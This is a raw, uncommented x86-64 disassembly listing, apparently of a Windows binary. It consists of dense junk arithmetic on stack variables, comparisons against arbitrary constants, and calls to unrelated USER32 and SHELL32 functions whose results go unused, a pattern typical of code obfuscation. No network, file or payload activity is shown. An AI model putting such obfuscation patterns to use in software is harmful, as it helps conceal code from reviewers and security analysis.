call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x2d10], rax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
jmp 0x140056117
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2c68]
cmp rax, qword [rcx]
jbe 0x140056117
call fcn.14010bb20
nop
mov dword [rsp + 0x1730], 0x6067
mov dword [rsp + 0x1734], 0x128b0
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2d18], rax
lea rax, [rsp + 0x172c]
mov qword [rsp + 0x2d20], rax
movsx eax, word [0x14015a008]
mov dword [rsp + 0x1738], eax
cmp dword [rsp + 0x1738], 0xffffcacd
je 0x14005617e
cmp dword [rsp + 0x1738], 0x4259
je 0x14010ada3
jmp 0x14010aee3
movabs rax, 0x4542f4739749cd03
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
cmp rax, qword [rcx]
jle 0x140056260
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov qword [rsp + 0x2d28], rax
movabs rax, 0x6f202dc673f47709
cmp qword [rsp + 0x2d28], rax
je 0x1400561d0
jmp 0x140056239
mov r8d, 0xee
mov edx, 0x37
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [rsp + 0x16c0], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0xcd]
and eax, 0x45
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2d38]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0x2d40], rax
jmp 0x140056260
mov r9, qword [rsp + 0x2c48]
movzx r8d, word [0x14015a008]
movzx edx, word [0x14015a008]
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rax]
call fcn.14010c2d0
nop
lea rax, [rsp + 0xce]
mov qword [rsp + 0x2d48], rax
mov dword [rsp + 0x173c], 0xfc87
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x2d50], rax
movzx eax, word [0x14015a008]
mov word [rsp + 0x660], ax
mov eax, dword [rsp + 0x1728]
add eax, 0x67cb568e
cmp eax, dword [rsp + 0x1714]
jg 0x14010ac89
cmp dword [rsp + 0x1730], 0x58f7
jbe 0x1400566ca
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movsx eax, word [0x14015a008]
sub eax, 0x4364
mov word [rsp + 0x660], ax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
mov eax, dword [rsp + 0x172c]
sub eax, 0xfeaa794c
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1728]
add eax, 0x53952014
mov dword [rsp + 0x1714], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
movabs rax, 0xcdc448002467eb6
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
sar eax, cl
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1730]
sub eax, 0x1c
mov dword [rsp + 0x1730], eax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
shl eax, 2
mov byte [rsp + 0xcd], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movabs rax, 0x7465b33e948fdd5a
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x65c], ax
movabs rax, 0x1de3acbadf2389b0
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sub eax, 0x31
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1714]
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2d58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2d58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sar eax, 3
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov eax, dword [rsp + 0x172c]
add eax, 0x4c4a771b
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
jmp 0x1400562b3
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov qword [rsp + 0x2d60], rax
mov dword [rsp + 0x1740], 0x4e06
mov dword [rsp + 0x1744], 0xa2d8
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
cmp rax, qword [rcx]
jne 0x140056800
lea rax, [rsp + 0x660]
mov qword [rsp + 0x2d68], rax
mov rax, qword [rsp + 0x2cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1748], al
cmp byte [rsp + 0x1748], 0xf9
je 0x140056778
cmp byte [rsp + 0x1748], 0x44
je 0x1400567e3
jmp 0x140056800
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x2d70], rax
mov dword [rsp + 0x174c], 0x62dd
lea rax, [rsp + 0x660]
mov qword [rsp + 0x2d78], rax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x2d80], rax
movzx eax, word [rsp + 0x65c]
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
jmp 0x140056800
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2d88], rax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2d60]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14010ac40
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x2d90], rax
cmp dword [rsp + 0x1734], 0xed8a
jb 0x140056caa
movsx eax, word [0x14015a008]
movsx ecx, word [rsp + 0x660]
sar eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xce], al
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1714]
add eax, 0x70317eb7
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
add eax, 0x36a12155
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movzx eax, word [0x14015ae50]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2d98]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x172c]
xor eax, 0x634be803
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1734]
sub eax, 0xe2
mov dword [rsp + 0x1734], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2bf0], rax
mov eax, dword [rsp + 0x1728]
sar eax, 0x1a
mov dword [rsp + 0x1714], eax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov eax, dword [rsp + 0x172c]
add eax, 0x60cc9dcf
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1728]
add eax, 0x1ab7b657
mov dword [rsp + 0x1714], eax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xce], al
movsx eax, word [rsp + 0x660]
movsx ecx, word [0x14015a008]
shl eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x1728]
add eax, 0x2d619464
mov dword [rsp + 0x1714], eax
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x660], ax
jmp 0x140056858
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0xcf], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x16e4]
add eax, 0xc9
mov dword [rsp + 0x16e4], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
shl eax, 3
mov dword [rsp + 0x172c], eax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
and eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
sub eax, 0x4b928b0f
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2bf0], rax
mov eax, dword [rsp + 0x1714]
sub eax, 0x2db22071
mov dword [rsp + 0x1728], eax
movzx eax, word [rsp + 0x664]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [0x14015a008]
sar eax, cl
mov word [rsp + 0x660], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x664], ax
cmp dword [rsp + 0x16e4], 0x38fe
jne 0x140056cb9
cmp dword [rsp + 0x1744], 0xff9e
jae 0x1400573a9
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
xor eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2bf0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2c48], rax
mov eax, dword [rsp + 0x1714]
and eax, 0x61d23c09
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
add eax, 0x3451751c
mov dword [rsp + 0x172c], eax
mov eax, dword [rsp + 0x1744]
add eax, 0xfa
mov dword [rsp + 0x1744], eax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov eax, dword [rsp + 0x1728]
sub eax, 0x3721c64e
mov dword [rsp + 0x1714], eax
mov eax, dword [rsp + 0x172c]
xor eax, 0x75d2520b
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2c40]
shl rax, cl
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2bf0]
movzx ecx, al
mov rax, qword [rsp + 0x2c48]
sar rax, cl
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [0x14015a008]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
sar eax, cl
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
shl eax, cl
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14015ae50], ax
mov eax, dword [rsp + 0x1714]
sub eax, 0x36dba98f
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov byte [rsp + 0xcd], al
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
add eax, ecx
mov word [0x14015ae50], ax
jmp 0x140056f1d
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
movsx ecx, byte [rsp + 0xcf]
mov rdx, qword [rsp + 0x2d90]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140057481
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov qword [rsp + 0x2da0], rax
movabs rax, 0x3c5c38bf6c8bc401
cmp qword [rsp + 0x2da0], rax
je 0x140057418
movabs rax, 0xcdc99a247b007c51
cmp qword [rsp + 0x2da0], rax
je 0x140057450
jmp 0x14005747c
mov rcx, qword [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [rsp + 0x16f4], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2bf0]
shl rax, cl
mov qword [rsp + 0x2d60], rax
jmp 0x14005747c
mov r9d, dword [rsp + 0x172c]
mov rax, qword [rsp + 0x2cc0]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x172c]
mov rax, qword [rsp + 0x2c98]
movzx ecx, word [rax]
call fcn.14010b860
nop
jmp 0x14005761a
lea rax, [rsp + 0x1714]
mov qword [rsp + 0x2db0], rax
mov dword [rsp + 0x1750], 0xfd89
mov dword [rsp + 0x1754], 0xa89c
mov eax, dword [rsp + 0x172c]
mov dword [rsp + 0x1758], eax
cmp dword [rsp + 0x1758], 0x62dff616
je 0x1400574d8
cmp dword [rsp + 0x1758], 0x8f76f292
je 0x1400575f7
jmp 0x14005761a
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x175c], al
cmp byte [rsp + 0x175c], 0
je 0x1400574f6
jmp 0x1400575ce
mov rax, qword [rsp + 0x2d90]
movzx eax, byte [rax]
mov byte [rsp + 0x1760], al
cmp byte [rsp + 0x1760], 0x38
je 0x140057517
jmp 0x1400575a2
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x1764], eax
cmp dword [rsp + 0x1764], 0xe77
je 0x140057535
jmp 0x140057580
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2c40]
shr rax, cl
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
and eax, 0xfe6894bf
mov dword [rsp + 0x172c], eax
mov cl, 0xd4
call qword [sym.imp.USER32.dll_IsCharLowerA]
mov dword [rsp + 0x16c0], eax
jmp 0x1400575a0
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
